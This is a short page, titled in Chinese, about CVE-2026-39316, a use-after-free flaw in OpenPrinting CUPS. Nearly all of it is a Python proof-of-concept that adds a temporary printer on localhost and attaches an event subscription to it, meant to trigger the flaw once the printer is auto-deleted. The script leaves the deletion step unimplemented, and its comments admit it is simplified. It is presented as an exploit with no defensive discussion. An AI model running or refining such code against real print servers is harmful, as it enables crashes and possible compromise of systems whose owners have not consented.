CVE-2026-39316 OpenPrinting CUPS释放后利用漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-39316 This script demonstrates creating a subscription on a temporary printer, which leads to the Use-After-Free vulnerability when the printer is auto-deleted. """ import cups def trigger_vulnerability(): conn = cups.Connection() # Setup a temporary printer (simplified for PoC context) # In a real scenario, the printer might be auto-discovered or configured as temporary. printer_name = "temp_vuln_printer" device_uri = "ipp://localhost/printers/temp_vuln_printer" try: # Add a printer (configuration details depend on CUPS setup) conn.addPrinter(printer_name, device=device_uri) # Create a subscription for events on this printer # This subscription is not cleared when the printer is deleted, causing the UAF sub_id = conn.createSubscription( printer_uri=device_uri, events=["all"], recipient_uri="rss://localhost" ) print(f"Created subscription {sub_id} on {printer_name}") # Triggering deletion logic usually happens automatically or via admin action. # Forcing a restart or specific CUPS command might trigger the cleanup path. print("Waiting for printer auto-deletion or triggering cleanup...") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": trigger_vulnerability()